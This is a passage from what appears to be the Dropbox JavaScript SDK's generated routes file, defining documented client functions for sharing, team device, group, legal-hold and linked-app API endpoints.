this.request('sharing/get_shared_link_metadata', arg, 'app, user', 'api', 'rpc', 'sharing.read'); }; /** * Returns a list of LinkMetadata objects for this user, including collection * links. If no path is given, returns a list of all shared links for the * current user, including collection links, up to a maximum of 1000 links. If a * non-empty path is given, returns a list of all shared links that allow access * to the given path. Collection links are never returned in this case. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetSharedLinks * @deprecated * @arg {SharingGetSharedLinksArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingGetSharedLinksResult>, DropboxResponseError.<SharingGetSharedLinksError>>} */ routes.sharingGetSharedLinks = function (arg) { return this.request('sharing/get_shared_links', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Use to obtain the members who have been invited to a file, both inherited and * uninherited members. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFileMembers * @arg {SharingListFileMembersArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFileMembers>, DropboxResponseError.<SharingListFileMembersError>>} */ routes.sharingListFileMembers = function (arg) { return this.request('sharing/list_file_members', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Get members of multiple files at once. The arguments to this route are more * limited, and the limit on query result size per file is more strict. To * customize the results more, use the individual file endpoint. Inherited users * and groups are not included in the result, and permissions are not returned * for this endpoint. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFileMembersBatch * @arg {SharingListFileMembersBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<SharingListFileMembersBatchResult>>, DropboxResponseError.<SharingSharingUserError>>} */ routes.sharingListFileMembersBatch = function (arg) { return this.request('sharing/list_file_members/batch', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from list_file_members or * list_file_members/batch, use this to paginate through all shared file * members. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFileMembersContinue * @arg {SharingListFileMembersContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFileMembers>, DropboxResponseError.<SharingListFileMembersContinueError>>} */ routes.sharingListFileMembersContinue = function (arg) { return this.request('sharing/list_file_members/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Returns shared folder membership by its folder ID. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFolderMembers * @arg {SharingListFolderMembersArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFolderMembers>, DropboxResponseError.<SharingSharedFolderAccessError>>} */ routes.sharingListFolderMembers = function (arg) { return this.request('sharing/list_folder_members', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from list_folder_members, use this to * paginate through all shared folder members. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFolderMembersContinue * @arg {SharingListFolderMembersContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFolderMembers>, DropboxResponseError.<SharingListFolderMembersContinueError>>} */ routes.sharingListFolderMembersContinue = function (arg) { return this.request('sharing/list_folder_members/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Return the list of all shared folders the current user has access to. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFolders * @arg {SharingListFoldersArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFoldersResult>, DropboxResponseError.<void>>} */ routes.sharingListFolders = function (arg) { return this.request('sharing/list_folders', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from list_folders, use this to paginate * through all shared folders. The cursor must come from a previous call to * list_folders or list_folders/continue. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListFoldersContinue * @arg {SharingListFoldersContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFoldersResult>, DropboxResponseError.<SharingListFoldersContinueError>>} */ routes.sharingListFoldersContinue = function (arg) { return this.request('sharing/list_folders/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Return the list of all shared folders the current user can mount or unmount. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListMountableFolders * @arg {SharingListFoldersArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFoldersResult>, DropboxResponseError.<void>>} */ routes.sharingListMountableFolders = function (arg) { return this.request('sharing/list_mountable_folders', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from list_mountable_folders, use this to * paginate through all mountable shared folders. The cursor must come from a * previous call to list_mountable_folders or list_mountable_folders/continue. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListMountableFoldersContinue * @arg {SharingListFoldersContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFoldersResult>, DropboxResponseError.<SharingListFoldersContinueError>>} */ routes.sharingListMountableFoldersContinue = function (arg) { return this.request('sharing/list_mountable_folders/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Returns a list of all files shared with current user. Does not include files * the user has received via shared folders, and does not include unclaimed * invitations. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListReceivedFiles * @arg {SharingListFilesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFilesResult>, DropboxResponseError.<SharingSharingUserError>>} */ routes.sharingListReceivedFiles = function (arg) { return this.request('sharing/list_received_files', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Get more results with a cursor from list_received_files. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListReceivedFilesContinue * @arg {SharingListFilesContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListFilesResult>, DropboxResponseError.<SharingListFilesContinueError>>} */ routes.sharingListReceivedFilesContinue = function (arg) { return this.request('sharing/list_received_files/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * List shared links of this user. If no path is given, returns a list of all * shared links for the current user. For members of business teams using team * space and member folders, returns all shared links in the team member's home * folder unless the team space ID is specified in the request header. For more * information, refer to the Namespace Guide * https://www.dropbox.com/developers/reference/namespace-guide. If a non-empty * path is given, returns a list of all shared links that allow access to the * given path - direct links to the given path and links to parent folders of * the given path. Links to parent folders can be suppressed by setting * direct_only to true. * Route attributes: * scope: sharing.read * @function Dropbox#sharingListSharedLinks * @arg {SharingListSharedLinksArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingListSharedLinksResult>, DropboxResponseError.<SharingListSharedLinksError>>} */ routes.sharingListSharedLinks = function (arg) { return this.request('sharing/list_shared_links', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Modify the shared link's settings. If the requested visibility conflict with * the shared links policy of the team or the shared folder (in case the linked * file is part of a shared folder) then the LinkPermissions.resolved_visibility * of the returned SharedLinkMetadata will reflect the actual visibility of the * shared link and the LinkPermissions.requested_visibility will reflect the * requested visibility. * Route attributes: * scope: sharing.write * @function Dropbox#sharingModifySharedLinkSettings * @arg {SharingModifySharedLinkSettingsArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<(SharingFileLinkMetadata|SharingFolderLinkMetadata|SharingSharedLinkMetadata)>, DropboxResponseError.<SharingModifySharedLinkSettingsError>>} */ routes.sharingModifySharedLinkSettings = function (arg) { return this.request('sharing/modify_shared_link_settings', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * The current user mounts the designated folder. Mount a shared folder for a * user after they have been added as a member. Once mounted, the shared folder * will appear in their Dropbox. * Route attributes: * scope: sharing.write * @function Dropbox#sharingMountFolder * @arg {SharingMountFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFolderMetadata>, DropboxResponseError.<SharingMountFolderError>>} */ routes.sharingMountFolder = function (arg) { return this.request('sharing/mount_folder', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * The current user relinquishes their membership in the designated file. Note * that the current user may still have inherited access to this file through * the parent folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRelinquishFileMembership * @arg {SharingRelinquishFileMembershipArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingRelinquishFileMembershipError>>} */ routes.sharingRelinquishFileMembership = function (arg) { return this.request('sharing/relinquish_file_membership', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * The current user relinquishes their membership in the designated shared * folder and will no longer have access to the folder. A folder owner cannot * relinquish membership in their own folder. This will run synchronously if * leave_a_copy is false, and asynchronously if leave_a_copy is true. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRelinquishFolderMembership * @arg {SharingRelinquishFolderMembershipArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchEmptyResult>, DropboxResponseError.<SharingRelinquishFolderMembershipError>>} */ routes.sharingRelinquishFolderMembership = function (arg) { return this.request('sharing/relinquish_folder_membership', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Identical to remove_file_member_2 but with less information returned. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRemoveFileMember * @deprecated * @arg {SharingRemoveFileMemberArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingFileMemberActionIndividualResult>, DropboxResponseError.<SharingRemoveFileMemberError>>} */ routes.sharingRemoveFileMember = function (arg) { return this.request('sharing/remove_file_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Removes a specified member from the file. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRemoveFileMember2 * @arg {SharingRemoveFileMemberArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingFileMemberRemoveActionResult>, DropboxResponseError.<SharingRemoveFileMemberError>>} */ routes.sharingRemoveFileMember2 = function (arg) { return this.request('sharing/remove_file_member_2', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Allows an owner or editor (if the ACL update policy allows) of a shared * folder to remove another member. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRemoveFolderMember * @arg {SharingRemoveFolderMemberArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchResultBase>, DropboxResponseError.<SharingRemoveFolderMemberError>>} */ routes.sharingRemoveFolderMember = function (arg) { return this.request('sharing/remove_folder_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Revoke a shared link. Note that even after revoking a shared link to a file, * the file may be accessible if there are shared links leading to any of the * file parent folders. To list all shared links that enable access to a * specific file, you can use the list_shared_links with the file as the * ListSharedLinksArg.path argument. * Route attributes: * scope: sharing.write * @function Dropbox#sharingRevokeSharedLink * @arg {SharingRevokeSharedLinkArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingRevokeSharedLinkError>>} */ routes.sharingRevokeSharedLink = function (arg) { return this.request('sharing/revoke_shared_link', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Change the inheritance policy of an existing Shared Folder. Only permitted * for shared folders in a shared team root. If a ShareFolderLaunch.async_job_id * is returned, you'll need to call check_share_job_status until the action * completes to get the metadata for the folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingSetAccessInheritance * @arg {SharingSetAccessInheritanceArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingShareFolderLaunch>, DropboxResponseError.<SharingSetAccessInheritanceError>>} */ routes.sharingSetAccessInheritance = function (arg) { return this.request('sharing/set_access_inheritance', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Share a folder with collaborators. Most sharing will be completed * synchronously. Large folders will be completed asynchronously. To make * testing the async case repeatable, set `ShareFolderArg.force_async`. If a * ShareFolderLaunch.async_job_id is returned, you'll need to call * check_share_job_status until the action completes to get the metadata for the * folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingShareFolder * @arg {SharingShareFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingShareFolderLaunch>, DropboxResponseError.<SharingShareFolderError>>} */ routes.sharingShareFolder = function (arg) { return this.request('sharing/share_folder', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Transfer ownership of a shared folder to a member of the shared folder. User * must have AccessLevel.owner access to the shared folder to perform a * transfer. * Route attributes: * scope: sharing.write * @function Dropbox#sharingTransferFolder * @arg {SharingTransferFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingTransferFolderError>>} */ routes.sharingTransferFolder = function (arg) { return this.request('sharing/transfer_folder', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * The current user unmounts the designated folder. They can re-mount the folder * at a later time using mount_folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUnmountFolder * @arg {SharingUnmountFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingUnmountFolderError>>} */ routes.sharingUnmountFolder = function (arg) { return this.request('sharing/unmount_folder', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Remove all members from this file. Does not remove inherited members. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUnshareFile * @arg {SharingUnshareFileArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingUnshareFileError>>} */ routes.sharingUnshareFile = function (arg) { return this.request('sharing/unshare_file', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Allows a shared folder owner to unshare the folder. You'll need to call * check_job_status to determine if the action has completed successfully. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUnshareFolder * @arg {SharingUnshareFolderArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchEmptyResult>, DropboxResponseError.<SharingUnshareFolderError>>} */ routes.sharingUnshareFolder = function (arg) { return this.request('sharing/unshare_folder', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Changes a member's access on a shared file. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUpdateFileMember * @arg {SharingUpdateFileMemberArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingMemberAccessLevelResult>, DropboxResponseError.<SharingFileMemberActionError>>} */ routes.sharingUpdateFileMember = function (arg) { return this.request('sharing/update_file_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Allows an owner or editor of a shared folder to update another member's * permissions. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUpdateFolderMember * @arg {SharingUpdateFolderMemberArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingMemberAccessLevelResult>, DropboxResponseError.<SharingUpdateFolderMemberError>>} */ routes.sharingUpdateFolderMember = function (arg) { return this.request('sharing/update_folder_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Update the sharing policies for a shared folder. User must have * AccessLevel.owner access to the shared folder to update its policies. * Route attributes: * scope: sharing.write * @function Dropbox#sharingUpdateFolderPolicy * @arg {SharingUpdateFolderPolicyArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFolderMetadata>, DropboxResponseError.<SharingUpdateFolderPolicyError>>} */ routes.sharingUpdateFolderPolicy = function (arg) { return this.request('sharing/update_folder_policy', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * List all device sessions of a team's member. * Route attributes: * scope: sessions.list * @function Dropbox#teamDevicesListMemberDevices * @arg {TeamListMemberDevicesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListMemberDevicesResult>, DropboxResponseError.<TeamListMemberDevicesError>>} */ routes.teamDevicesListMemberDevices = function (arg) { return this.request('team/devices/list_member_devices', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * List all device sessions of a team. Permission : Team member file access. * Route attributes: * scope: sessions.list * @function Dropbox#teamDevicesListMembersDevices * @arg {TeamListMembersDevicesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListMembersDevicesResult>, DropboxResponseError.<TeamListMembersDevicesError>>} */ routes.teamDevicesListMembersDevices = function (arg) { return this.request('team/devices/list_members_devices', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * List all device sessions of a team. Permission : Team member file access. * Route attributes: * scope: sessions.list * @function Dropbox#teamDevicesListTeamDevices * @deprecated * @arg {TeamListTeamDevicesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListTeamDevicesResult>, DropboxResponseError.<TeamListTeamDevicesError>>} */ routes.teamDevicesListTeamDevices = function (arg) { return this.request('team/devices/list_team_devices', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * Revoke a device session of a team's member. * Route attributes: * scope: sessions.modify * @function Dropbox#teamDevicesRevokeDeviceSession * @arg {TeamRevokeDeviceSessionArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamRevokeDeviceSessionError>>} */ routes.teamDevicesRevokeDeviceSession = function (arg) { return this.request('team/devices/revoke_device_session', arg, 'team', 'api', 'rpc', 'sessions.modify'); }; /** * Revoke a list of device sessions of team members. * Route attributes: * scope: sessions.modify * @function Dropbox#teamDevicesRevokeDeviceSessionBatch * @arg {TeamRevokeDeviceSessionBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamRevokeDeviceSessionBatchResult>, DropboxResponseError.<TeamRevokeDeviceSessionBatchError>>} */ routes.teamDevicesRevokeDeviceSessionBatch = function (arg) { return this.request('team/devices/revoke_device_session_batch', arg, 'team', 'api', 'rpc', 'sessions.modify'); }; /** * Get the values for one or more featues. This route allows you to check your * account's capability for what feature you can access or what value you have * for certain features. Permission : Team information. * Route attributes: * scope: team_info.read * @function Dropbox#teamFeaturesGetValues * @arg {TeamFeaturesGetValuesBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamFeaturesGetValuesBatchResult>, DropboxResponseError.<TeamFeaturesGetValuesBatchError>>} */ routes.teamFeaturesGetValues = function (arg) { return this.request('team/features/get_values', arg, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Retrieves information about a team. * Route attributes: * scope: team_info.read * @function Dropbox#teamGetInfo * @returns {Promise.<DropboxResponse<TeamTeamGetInfoResult>, DropboxResponseError.<void>>} */ routes.teamGetInfo = function () { return this.request('team/get_info', null, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Creates a new, empty group, with a requested name. Permission : Team member * management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsCreate * @arg {TeamGroupCreateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupFullInfo>, DropboxResponseError.<TeamGroupCreateError>>} */ routes.teamGroupsCreate = function (arg) { return this.request('team/groups/create', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Deletes a group. The group is deleted immediately. However the revoking of * group-owned resources may take additional time. Use the groups/job_status/get * to determine whether this process has completed. Permission : Team member * management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsDelete * @arg {TeamGroupSelector} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchEmptyResult>, DropboxResponseError.<TeamGroupDeleteError>>} */ routes.teamGroupsDelete = function (arg) { return this.request('team/groups/delete', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Retrieves information about one or more groups. Note that the optional field * GroupFullInfo.members is not returned for system-managed groups. Permission : * Team Information. * Route attributes: * scope: groups.read * @function Dropbox#teamGroupsGetInfo * @arg {TeamGroupsSelector} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamGroupsGetInfoError>>} */ routes.teamGroupsGetInfo = function (arg) { return this.request('team/groups/get_info', arg, 'team', 'api', 'rpc', 'groups.read'); }; /** * Once an async_job_id is returned from groups/delete, groups/members/add , or * groups/members/remove use this method to poll the status of granting/revoking * group members' access to group-owned resources. Permission : Team member * management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsJobStatusGet * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncPollEmptyResult>, DropboxResponseError.<TeamGroupsPollError>>} */ routes.teamGroupsJobStatusGet = function (arg) { return this.request('team/groups/job_status/get', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Lists groups on a team. Permission : Team Information. * Route attributes: * scope: groups.read * @function Dropbox#teamGroupsList * @arg {TeamGroupsListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupsListResult>, DropboxResponseError.<void>>} */ routes.teamGroupsList = function (arg) { return this.request('team/groups/list', arg, 'team', 'api', 'rpc', 'groups.read'); }; /** * Once a cursor has been retrieved from groups/list, use this to paginate * through all groups. Permission : Team Information. * Route attributes: * scope: groups.read * @function Dropbox#teamGroupsListContinue * @arg {TeamGroupsListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupsListResult>, DropboxResponseError.<TeamGroupsListContinueError>>} */ routes.teamGroupsListContinue = function (arg) { return this.request('team/groups/list/continue', arg, 'team', 'api', 'rpc', 'groups.read'); }; /** * Adds members to a group. The members are added immediately. However the * granting of group-owned resources may take additional time. Use the * groups/job_status/get to determine whether this process has completed. * Permission : Team member management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsMembersAdd * @arg {TeamGroupMembersAddArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupMembersChangeResult>, DropboxResponseError.<TeamGroupMembersAddError>>} */ routes.teamGroupsMembersAdd = function (arg) { return this.request('team/groups/members/add', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Lists members of a group. Permission : Team Information. * Route attributes: * scope: groups.read * @function Dropbox#teamGroupsMembersList * @arg {TeamGroupsMembersListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupsMembersListResult>, DropboxResponseError.<TeamGroupSelectorError>>} */ routes.teamGroupsMembersList = function (arg) { return this.request('team/groups/members/list', arg, 'team', 'api', 'rpc', 'groups.read'); }; /** * Once a cursor has been retrieved from groups/members/list, use this to * paginate through all members of the group. Permission : Team information. * Route attributes: * scope: groups.read * @function Dropbox#teamGroupsMembersListContinue * @arg {TeamGroupsMembersListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupsMembersListResult>, DropboxResponseError.<TeamGroupsMembersListContinueError>>} */ routes.teamGroupsMembersListContinue = function (arg) { return this.request('team/groups/members/list/continue', arg, 'team', 'api', 'rpc', 'groups.read'); }; /** * Removes members from a group. The members are removed immediately. However * the revoking of group-owned resources may take additional time. Use the * groups/job_status/get to determine whether this process has completed. This * method permits removing the only owner of a group, even in cases where this * is not possible via the web client. Permission : Team member management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsMembersRemove * @arg {TeamGroupMembersRemoveArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupMembersChangeResult>, DropboxResponseError.<TeamGroupMembersRemoveError>>} */ routes.teamGroupsMembersRemove = function (arg) { return this.request('team/groups/members/remove', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Sets a member's access type in a group. Permission : Team member management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsMembersSetAccessType * @arg {TeamGroupMembersSetAccessTypeArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamGroupMemberSetAccessTypeError>>} */ routes.teamGroupsMembersSetAccessType = function (arg) { return this.request('team/groups/members/set_access_type', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Updates a group's name and/or external ID. Permission : Team member * management. * Route attributes: * scope: groups.write * @function Dropbox#teamGroupsUpdate * @arg {TeamGroupUpdateArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGroupFullInfo>, DropboxResponseError.<TeamGroupUpdateError>>} */ routes.teamGroupsUpdate = function (arg) { return this.request('team/groups/update', arg, 'team', 'api', 'rpc', 'groups.write'); }; /** * Creates new legal hold policy. Note: Legal Holds is a paid add-on. Not all * teams have the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsCreatePolicy * @arg {TeamLegalHoldsPolicyCreateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamLegalHoldsPolicyCreateError>>} */ routes.teamLegalHoldsCreatePolicy = function (arg) { return this.request('team/legal_holds/create_policy', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * Gets a legal hold by Id. Note: Legal Holds is a paid add-on. Not all teams * have the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsGetPolicy * @arg {TeamLegalHoldsGetPolicyArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamLegalHoldsGetPolicyError>>} */ routes.teamLegalHoldsGetPolicy = function (arg) { return this.request('team/legal_holds/get_policy', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * List the file metadata that's under the hold. Note: Legal Holds is a paid * add-on. Not all teams have the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsListHeldRevisions * @arg {TeamLegalHoldsListHeldRevisionsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamLegalHoldsListHeldRevisionResult>, DropboxResponseError.<TeamLegalHoldsListHeldRevisionsError>>} */ routes.teamLegalHoldsListHeldRevisions = function (arg) { return this.request('team/legal_holds/list_held_revisions', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * Continue listing the file metadata that's under the hold. Note: Legal Holds * is a paid add-on. Not all teams have the feature. Permission : Team member * file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsListHeldRevisionsContinue * @arg {TeamLegalHoldsListHeldRevisionsContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamLegalHoldsListHeldRevisionResult>, DropboxResponseError.<TeamLegalHoldsListHeldRevisionsError>>} */ routes.teamLegalHoldsListHeldRevisionsContinue = function (arg) { return this.request('team/legal_holds/list_held_revisions_continue', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * Lists legal holds on a team. Note: Legal Holds is a paid add-on. Not all * teams have the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsListPolicies * @arg {TeamLegalHoldsListPoliciesArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamLegalHoldsListPoliciesResult>, DropboxResponseError.<TeamLegalHoldsListPoliciesError>>} */ routes.teamLegalHoldsListPolicies = function (arg) { return this.request('team/legal_holds/list_policies', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * Releases a legal hold by Id. Note: Legal Holds is a paid add-on. Not all * teams have the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsReleasePolicy * @arg {TeamLegalHoldsPolicyReleaseArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamLegalHoldsPolicyReleaseError>>} */ routes.teamLegalHoldsReleasePolicy = function (arg) { return this.request('team/legal_holds/release_policy', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * Updates a legal hold. Note: Legal Holds is a paid add-on. Not all teams have * the feature. Permission : Team member file access. * Route attributes: * scope: team_data.governance.write * @function Dropbox#teamLegalHoldsUpdatePolicy * @arg {TeamLegalHoldsPolicyUpdateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamLegalHoldsPolicyUpdateError>>} */ routes.teamLegalHoldsUpdatePolicy = function (arg) { return this.request('team/legal_holds/update_policy', arg, 'team', 'api', 'rpc', 'team_data.governance.write'); }; /** * List all linked applications of the team member. Note, this endpoint does not * list any team-linked applications. * Route attributes: * scope: sessions.list * @function Dropbox#teamLinkedAppsListMemberLinkedApps * @arg {TeamListMemberAppsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListMemberAppsResult>, DropboxResponseError.<TeamListMemberAppsError>>} */ routes.teamLinkedAppsListMemberLinkedApps = function (arg) { return this.request('team/linked_apps/list_member_linked_apps', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * List all applications linked to the team members' accounts. Note, this * endpoint does not list any team-linked applications. * Route attributes: * scope: sessions.list * @function Dropbox#teamLinkedAppsListMembersLinkedApps * @arg {TeamListMembersAppsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListMembersAppsResult>, DropboxResponseError.<TeamListMembersAppsError>>} */ routes.teamLinkedAppsListMembersLinkedApps = function (arg) { return this.request('team/linked_apps/list_members_linked_apps', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * List all applications linked to the team members' accounts. Note, this * endpoint doesn't list any team-linked applications. * Route attributes: * scope: sessions.list * @function Dropbox#teamLinkedAppsListTeamLinkedApps * @deprecated * @arg {TeamListTeamAppsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamListTeamAppsResult>, DropboxResponseError.<TeamListTeamAppsError>>} */ routes.teamLinkedAppsListTeamLinkedApps = function (arg) { return this.request('team/linked_apps/list_team_linked_apps', arg, 'team', 'api', 'rpc', 'sessions.list'); }; /** * Revoke a linked application of the team member. * Route attributes: * scope: sessions.modify * @function Dropbox#teamLinkedAppsRevokeLinkedApp * @arg {TeamRevokeLinkedApiAppArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamRevokeLinkedAppError>>} */ routes.teamLinkedAppsRevokeLinkedApp = function (arg) { return this.request('team/linked_apps/revoke_linked_app', arg, 'team', 'api', 'rpc', 'sessions.modify'); }; /** * Revoke a list of linked applications of the team members. * Route attributes: * scope: sessions.modify * @function Dropbox#teamLinkedAppsRevokeLinkedAppBatch * @arg {TeamRevokeLinkedApiAppBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamRevokeLinkedAppBatchResult>, DropboxResponseError.<TeamRevokeLinkedAppBatchError>>} */ routes.teamLinkedAppsRevokeLinkedAppBatch = function (arg) { return this.request('team/linked_apps/revoke_linked_app_batch', arg, 'team', 'api', 'rpc', 'sessions.modify'); }; /** * Add users to member space limits excluded users list. * Route attributes: * scope: members.write * @function Dropbox#teamMemberSpaceLimitsExcludedUsersAdd * @arg {TeamExcludedUsersUpdateArg} arg - The request parameters. * @returns 